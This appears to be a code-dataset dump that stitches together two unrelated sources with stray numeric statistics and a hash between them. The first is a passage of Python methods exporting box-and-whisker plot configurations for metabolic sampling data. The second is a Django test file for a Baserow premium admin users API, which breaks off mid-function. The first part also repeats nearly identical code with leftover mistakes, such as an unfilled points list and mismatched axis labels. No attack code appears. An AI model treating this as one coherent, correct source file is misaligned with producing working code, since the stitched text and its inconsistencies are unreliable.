file.write(nsvgtable.get_allObjects()); def export_dataStage02PhysiologySampledPointsDescriptiveStats_js(self,analysis_id_I,plot_points_I=False,vertical_I=True,data_dir_I='tmp'): '''Export data for a box and whiskers plot INPUT: analysis_id_I = string, plot_points_I = boolean, default=False, raw data points will not be plotted on the same plot vertical_I = boolean, default=True, orient the boxes vertical as opposed to horizontal ''' physiology_analysis_query=stage02_physiology_analysis_query(self.session,self.engine,self.settings); physiology_analysis_query.initialize_supportedTables(); data_O = []; data_points_O = []; #get the analysis information simulation_ids = []; simulation_ids = physiology_analysis_query.get_simulationID_analysisID_dataStage02PhysiologyAnalysis(analysis_id_I); #get the data for the analysis if plot_points_I: #get the replicate data for the analysis #TODO... (copy code from above io function) #data_points_O = []; #data_points_O = quantification_dataPreProcessing_replicates_query.get_rowsAndSampleNameAbbreviations_analysisID_dataStage02QuantificationDataPreProcessingReplicates(analysis_id_I); for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledData(simulation); data_O.extend(data_tmp); else: for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledData(simulation); data_O.extend(data_tmp); # make the tile objects parametersobject_O = []; tile2datamap_O = {}; filtermenuobject_O = []; dataobject_O = []; # dump chart parameters to a js files data1_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'rxn_id', 'flux_units', ]; data1_nestkeys = ['rxn_id']; data2_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'rxn_id', 'flux_units', ]; data2_nestkeys = ['rxn_id']; if vertical_I: data1_keymap = { 'xdata':'rxn_id', 'ydata':'sampling_ave', 'ydatamean':'sampling_ave', 'ydatalb':'sampling_lb', 'ydataub':'sampling_ub', 'ydatamin':'sampling_min', 'ydatamax':'sampling_max', 'ydataiq1':'sampling_iq_1', 'ydataiq3':'sampling_iq_3', 'ydatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'rxn_id'}; data2_keymap = { 'xdata':'rxn_id', 'ydata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'rxn_id'}; else: data1_keymap = { 'ydata':'rxn_id', 'xdatamean':'sampling_ave', 'xdata':'sampling_ave', 'xdatalb':'sampling_lb', 'xdataub':'sampling_ub', 'xdatamin':'sampling_min', 'xdatamax':'sampling_max', 'xdataiq1':'sampling_iq_1', 'xdataiq3':'sampling_iq_3', 'xdatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'rxn_id'}; data2_keymap = { 'ydata':'rxn_id', 'xdata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'rxn_id'}; # make the data object dataobject_O.append({"data":data_O,"datakeys":data1_keys,"datanestkeys":data1_nestkeys}); # make the tile parameter objects formtileparameters_O = {'tileheader':'Filter menu','tiletype':'html','tileid':"filtermenu1",'rowid':"row1",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-4"}; formparameters_O = {'htmlid':'filtermenuform1',"htmltype":'form_01',"formsubmitbuttonidtext":{'id':'submit1','text':'submit'},"formresetbuttonidtext":{'id':'reset1','text':'reset'},"formupdatebuttonidtext":{'id':'update1','text':'update'}}; formtileparameters_O.update(formparameters_O); parametersobject_O.append(formtileparameters_O); if plot_points_I: tile2datamap_O.update({"filtermenu1":[1]}); else: tile2datamap_O.update({"filtermenu1":[0]}); #make the svg object if plot_points_I and vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'boxandwhiskersplot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"rxn_id", "svgy1axislabel":"sampling points", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and vertical_I: svgparameters_O = {"svgtype":'boxandwhiskersplot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"rxn_id","svgy1axislabel":"sampling points", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); elif plot_points_I and not vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"rxn_id", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and not vertical_I: svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"rxn_id", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); #make the table object tableparameters_O = {"tabletype":'responsivetable_01', 'tableid':'table1', "tablefilters":None, "tableclass":"table table-condensed table-hover", 'tableformtileid':'filtermenu1','tableresetbuttonid':'reset1','tablesubmitbuttonid':'submit1'}; tabletileparameters_O = {'tileheader':'descriptiveStats','tiletype':'table','tileid':"tile3",'rowid':"row2",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-12"}; tabletileparameters_O.update(tableparameters_O); parametersobject_O.append(tabletileparameters_O); tile2datamap_O.update({"tile3":[0]}); # dump the data to a json file ddtutilities = ddt_container(parameters_I = parametersobject_O,data_I = dataobject_O,tile2datamap_I = tile2datamap_O,filtermenu_I = filtermenuobject_O); if data_dir_I=='tmp': filename_str = self.settings['visualization_data'] + '/tmp/ddt_data.js' elif data_dir_I=='data_json': data_json_O = ddtutilities.get_allObjects_js(); return data_json_O; with open(filename_str,'w') as file: file.write(ddtutilities.get_allObjects()); def export_dataStage02PhysiologySampledPointsMetabolitesDescriptiveStats_js(self,analysis_id_I,plot_points_I=True,vertical_I=True,data_dir_I='tmp'): '''Export data for a box and whiskers plot INPUT: analysis_id_I = string, plot_points_I = boolean, default=False, raw data points will not be plotted on the same plot vertical_I = boolean, default=True, orient the boxes vertical as opposed to horizontal ''' physiology_analysis_query=stage02_physiology_analysis_query(self.session,self.engine,self.settings); physiology_analysis_query.initialize_supportedTables(); data_O = []; data_points_O = []; #get the analysis information simulation_ids = []; simulation_ids = physiology_analysis_query.get_simulationID_analysisID_dataStage02PhysiologyAnalysis(analysis_id_I); #get the data for the analysis if plot_points_I: #get the replicate data for the analysis #TODO... (copy code from above io function) #data_points_O = []; #data_points_O = quantification_dataPreProcessing_replicates_query.get_rowsAndSampleNameAbbreviations_analysisID_dataStage02QuantificationDataPreProcessingReplicates(analysis_id_I); for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledMetaboliteData(simulation); data_O.extend(data_tmp); else: for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledMetaboliteData(simulation); data_O.extend(data_tmp); # make the tile objects parametersobject_O = []; tile2datamap_O = {}; filtermenuobject_O = []; dataobject_O = []; # dump chart parameters to a js files data1_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'met_id', 'flux_units', ]; data1_nestkeys = ['met_id']; data2_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'rxn_id', 'flux_units', ]; data2_nestkeys = ['met_id']; if vertical_I: data1_keymap = { 'xdata':'met_id', 'ydata':'sampling_ave', 'ydatamean':'sampling_ave', 'ydatalb':'sampling_lb', 'ydataub':'sampling_ub', 'ydatamin':'sampling_min', 'ydatamax':'sampling_max', 'ydataiq1':'sampling_iq_1', 'ydataiq3':'sampling_iq_3', 'ydatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'met_id'}; data2_keymap = { 'xdata':'met_id', 'ydata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'met_id'}; else: data1_keymap = { 'ydata':'met_id', 'xdatamean':'sampling_ave', 'xdata':'sampling_ave', 'xdatalb':'sampling_lb', 'xdataub':'sampling_ub', 'xdatamin':'sampling_min', 'xdatamax':'sampling_max', 'xdataiq1':'sampling_iq_1', 'xdataiq3':'sampling_iq_3', 'xdatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'met_id'}; data2_keymap = { 'ydata':'met_id', 'xdata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'met_id'}; # make the data object dataobject_O.append({"data":data_O,"datakeys":data1_keys,"datanestkeys":data1_nestkeys}); # make the tile parameter objects formtileparameters_O = {'tileheader':'Filter menu','tiletype':'html','tileid':"filtermenu1",'rowid':"row1",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-4"}; formparameters_O = {'htmlid':'filtermenuform1',"htmltype":'form_01',"formsubmitbuttonidtext":{'id':'submit1','text':'submit'},"formresetbuttonidtext":{'id':'reset1','text':'reset'},"formupdatebuttonidtext":{'id':'update1','text':'update'}}; formtileparameters_O.update(formparameters_O); parametersobject_O.append(formtileparameters_O); if plot_points_I: tile2datamap_O.update({"filtermenu1":[1]}); else: tile2datamap_O.update({"filtermenu1":[0]}); #make the svg object if plot_points_I and vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'boxandwhiskersplot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"met_id", "svgy1axislabel":"sampling points", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and vertical_I: svgparameters_O = {"svgtype":'boxandwhiskersplot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"met_id","svgy1axislabel":"sampling points", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); elif plot_points_I and not vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"rxn_id", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and not vertical_I: svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"met_id", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); #make the table object tableparameters_O = {"tabletype":'responsivetable_01', 'tableid':'table1', "tablefilters":None, "tableclass":"table table-condensed table-hover", 'tableformtileid':'filtermenu1','tableresetbuttonid':'reset1','tablesubmitbuttonid':'submit1'}; tabletileparameters_O = {'tileheader':'descriptiveStats','tiletype':'table','tileid':"tile3",'rowid':"row2",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-12"}; tabletileparameters_O.update(tableparameters_O); parametersobject_O.append(tabletileparameters_O); tile2datamap_O.update({"tile3":[0]}); # dump the data to a json file ddtutilities = ddt_container(parameters_I = parametersobject_O,data_I = dataobject_O,tile2datamap_I = tile2datamap_O,filtermenu_I = filtermenuobject_O); if data_dir_I=='tmp': filename_str = self.settings['visualization_data'] + '/tmp/ddt_data.js' elif data_dir_I=='data_json': data_json_O = ddtutilities.get_allObjects_js(); return data_json_O; with open(filename_str,'w') as file: file.write(ddtutilities.get_allObjects()); def export_dataStage02PhysiologySampledPointsSubsystemsDescriptiveStats_js(self,analysis_id_I,plot_points_I=True,vertical_I=True,data_dir_I='tmp'): '''Export data for a box and whiskers plot INPUT: analysis_id_I = string, plot_points_I = boolean, default=False, raw data points will not be plotted on the same plot vertical_I = boolean, default=True, orient the boxes vertical as opposed to horizontal ''' physiology_analysis_query=stage02_physiology_analysis_query(self.session,self.engine,self.settings); physiology_analysis_query.initialize_supportedTables(); data_O = []; data_points_O = []; #get the analysis information simulation_ids = []; simulation_ids = physiology_analysis_query.get_simulationID_analysisID_dataStage02PhysiologyAnalysis(analysis_id_I); #get the data for the analysis if plot_points_I: #get the replicate data for the analysis #TODO... (copy code from above io function) #data_points_O = []; #data_points_O = quantification_dataPreProcessing_replicates_query.get_rowsAndSampleNameAbbreviations_analysisID_dataStage02QuantificationDataPreProcessingReplicates(analysis_id_I); for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledSubsystemData(simulation); data_O.extend(data_tmp); else: for simulation in simulation_ids: data_tmp = self.get_rows_simulationID_dataStage02PhysiologySampledSubsystemData(simulation); data_O.extend(data_tmp); # make the tile objects parametersobject_O = []; tile2datamap_O = {}; filtermenuobject_O = []; dataobject_O = []; # dump chart parameters to a js files data1_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'subsystem_id', 'flux_units', ]; data1_nestkeys = ['subsystem_id']; data2_keys = [ #'analysis_id', 'simulation_id', 'simulation_dateAndTime', 'rxn_id', 'flux_units', ]; data2_nestkeys = ['subsystem_id']; if vertical_I: data1_keymap = { 'xdata':'subsystem_id', 'ydata':'sampling_ave', 'ydatamean':'sampling_ave', 'ydatalb':'sampling_lb', 'ydataub':'sampling_ub', 'ydatamin':'sampling_min', 'ydatamax':'sampling_max', 'ydataiq1':'sampling_iq_1', 'ydataiq3':'sampling_iq_3', 'ydatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'subsystem_id'}; data2_keymap = { 'xdata':'subsystem_id', 'ydata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'subsystem_id'}; else: data1_keymap = { 'ydata':'subsystem_id', 'xdatamean':'sampling_ave', 'xdata':'sampling_ave', 'xdatalb':'sampling_lb', 'xdataub':'sampling_ub', 'xdatamin':'sampling_min', 'xdatamax':'sampling_max', 'xdataiq1':'sampling_iq_1', 'xdataiq3':'sampling_iq_3', 'xdatamedian':'sampling_median', 'serieslabel':'simulation_id', 'featureslabel':'subsystem_id'}; data2_keymap = { 'ydata':'subsystem_id', 'xdata':'sampling_points', 'serieslabel':'simulation_id', 'featureslabel':'subsystem_id'}; # make the data object dataobject_O.append({"data":data_O,"datakeys":data1_keys,"datanestkeys":data1_nestkeys}); # make the tile parameter objects formtileparameters_O = {'tileheader':'Filter menu','tiletype':'html','tileid':"filtermenu1",'rowid':"row1",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-4"}; formparameters_O = {'htmlid':'filtermenuform1',"htmltype":'form_01',"formsubmitbuttonidtext":{'id':'submit1','text':'submit'},"formresetbuttonidtext":{'id':'reset1','text':'reset'},"formupdatebuttonidtext":{'id':'update1','text':'update'}}; formtileparameters_O.update(formparameters_O); parametersobject_O.append(formtileparameters_O); if plot_points_I: tile2datamap_O.update({"filtermenu1":[1]}); else: tile2datamap_O.update({"filtermenu1":[0]}); #make the svg object if plot_points_I and vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'boxandwhiskersplot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"subsystem_id", "svgy1axislabel":"sampling points", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and vertical_I: svgparameters_O = {"svgtype":'boxandwhiskersplot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"subsystem_id","svgy1axislabel":"sampling points", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); elif plot_points_I and not vertical_I: dataobject_O.append({"data":data_points_O,"datakeys":data2_keys,"datanestkeys":data2_nestkeys}); svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_02', "svgkeymap":[data1_keymap,data2_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"rxn_id", "svgdata2pointsradius":5.0, }; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0,1]}); elif not plot_points_I and not vertical_I: svgparameters_O = {"svgtype":'horizontalBoxAndWhiskersPlot2d_01', "svgkeymap":[data1_keymap], 'svgid':'svg1', "svgmargin":{ 'top': 50, 'right': 150, 'bottom': 50, 'left': 50 }, "svgwidth":500,"svgheight":350, "svgx1axislabel":"sampling points", "svgy1axislabel":"subsystem_id", 'svgformtileid':'filtermenu1','svgresetbuttonid':'reset1','svgsubmitbuttonid':'submit1'}; svgtileparameters_O = {'tileheader':'Custom box and whiskers plot','tiletype':'svg','tileid':"tile2",'rowid':"row1",'colid':"col2", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-8"}; svgtileparameters_O.update(svgparameters_O); parametersobject_O.append(svgtileparameters_O); tile2datamap_O.update({"tile2":[0]}); #make the table object tableparameters_O = {"tabletype":'responsivetable_01', 'tableid':'table1', "tablefilters":None, "tableclass":"table table-condensed table-hover", 'tableformtileid':'filtermenu1','tableresetbuttonid':'reset1','tablesubmitbuttonid':'submit1'}; tabletileparameters_O = {'tileheader':'descriptiveStats','tiletype':'table','tileid':"tile3",'rowid':"row2",'colid':"col1", 'tileclass':"panel panel-default",'rowclass':"row",'colclass':"col-sm-12"}; tabletileparameters_O.update(tableparameters_O); parametersobject_O.append(tabletileparameters_O); tile2datamap_O.update({"tile3":[0]}); # dump the data to a json file ddtutilities = ddt_container(parameters_I = parametersobject_O,data_I = dataobject_O,tile2datamap_I = tile2datamap_O,filtermenu_I = filtermenuobject_O); if data_dir_I=='tmp': filename_str = self.settings['visualization_data'] + '/tmp/ddt_data.js' elif data_dir_I=='data_json': data_json_O = ddtutilities.get_allObjects_js(); return data_json_O; with open(filename_str,'w') as file: file.write(ddtutilities.get_allObjects());
54.682759
248
0.566856
3,544
39,645
6.069131
0.09763
0.012692
0.012274
0.021758
0.815054
0.80292
0.800828
0.792877
0.774002
0.774002
0
0.024711
0.316105
39,645
725
249
54.682759
0.768561
0.064825
0
0.795041
0
0
0.245853
0.019066
0
0
0
0.004138
0
0
null
null
0
0.026446
null
null
0.004959
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
3ca9df118ccf68183a0b7891b163024557b97cc2
25,743
py
Python
premium/backend/tests/baserow_premium/api/admin/users/test_users_admin_views.py
ashishdhngr/baserow
b098678d2165eb7c42930ee24dc6753a3cb520c3
[ "MIT" ]
1
2022-01-24T15:12:02.000Z
2022-01-24T15:12:02.000Z
premium/backend/tests/baserow_premium/api/admin/users/test_users_admin_views.py
rasata/baserow
c6e1d7842c53f801e1c96b49f1377da2a06afaa9
[ "MIT" ]
null
null
null
premium/backend/tests/baserow_premium/api/admin/users/test_users_admin_views.py
rasata/baserow
c6e1d7842c53f801e1c96b49f1377da2a06afaa9
[ "MIT" ]
null
null
null
import json import pytest from django.shortcuts import reverse from django.utils import timezone from django.utils.datetime_safe import datetime from django.test.utils import override_settings from rest_framework.status import ( HTTP_200_OK, HTTP_402_PAYMENT_REQUIRED, HTTP_204_NO_CONTENT, HTTP_400_BAD_REQUEST, HTTP_401_UNAUTHORIZED, HTTP_403_FORBIDDEN, ) from baserow.core.models import ( GROUP_USER_PERMISSION_MEMBER, GROUP_USER_PERMISSION_ADMIN, ) invalid_passwords = [ "a", "ab", "ask", "oiue", "dsj43", "984kds", "dsfkjh4", ] @pytest.mark.django_db @override_settings(DEBUG=True) def test_non_admin_cannot_see_admin_users_endpoint(api_client, premium_data_fixture): non_staff_user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=False, has_active_premium_license=True, ) response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_403_FORBIDDEN @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_see_admin_users_endpoint(api_client, premium_data_fixture): staff_user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) group_user_is_admin_of = premium_data_fixture.create_group() premium_data_fixture.create_user_group( group=group_user_is_admin_of, user=staff_user, permissions=GROUP_USER_PERMISSION_ADMIN, ) group_user_is_not_admin_of = premium_data_fixture.create_group() premium_data_fixture.create_user_group( group=group_user_is_not_admin_of, user=staff_user, permissions=GROUP_USER_PERMISSION_MEMBER, ) response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json() == { "count": 1, "next": None, "previous": None, "results": [ { "date_joined": "2021-04-01T01:00:00Z", "name": staff_user.first_name, "username": staff_user.email, "groups": [ { "id": group_user_is_admin_of.id, "name": group_user_is_admin_of.name, "permissions": GROUP_USER_PERMISSION_ADMIN, }, { "id": group_user_is_not_admin_of.id, "name": group_user_is_not_admin_of.name, "permissions": GROUP_USER_PERMISSION_MEMBER, }, ], "id": staff_user.id, "is_staff": True, "is_active": True, "last_login": None, } ], } @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_list_users_without_premium_license(api_client, premium_data_fixture): staff_user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), ) response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_402_PAYMENT_REQUIRED assert response.json()["error"] == "ERROR_NO_ACTIVE_PREMIUM_LICENSE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_with_invalid_token_cannot_see_admin_users( api_client, premium_data_fixture ): premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT abc123", ) assert response.status_code == HTTP_401_UNAUTHORIZED assert response.json()["error"] == "ERROR_DECODING_SIGNATURE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_accessing_invalid_user_admin_page_returns_error( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=2", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_INVALID_PAGE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_accessing_user_admin_with_invalid_page_size_returns_error( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&size=201", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_PAGE_SIZE_LIMIT" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_search_users(api_client, premium_data_fixture): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) searched_for_user = premium_data_fixture.create_user( email="specific_user@test.nl", password="password", first_name="Test1", date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&search=specific_user", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json() == { "count": 1, "next": None, "previous": None, "results": [ { "date_joined": "2021-04-01T01:00:00Z", "name": searched_for_user.first_name, "username": searched_for_user.email, "groups": [], "id": searched_for_user.id, "is_staff": False, "is_active": True, "last_login": None, } ], } @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_sort_users(api_client, premium_data_fixture): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) searched_for_user = premium_data_fixture.create_user( email="specific_user@test.nl", password="password", first_name="Test1", date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&search=specific_user", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json() == { "count": 1, "next": None, "previous": None, "results": [ { "date_joined": "2021-04-01T01:00:00Z", "name": searched_for_user.first_name, "username": searched_for_user.email, "groups": [], "id": searched_for_user.id, "is_staff": False, "is_active": True, "last_login": None, } ], } @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_invalid_sort_field_provided( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", 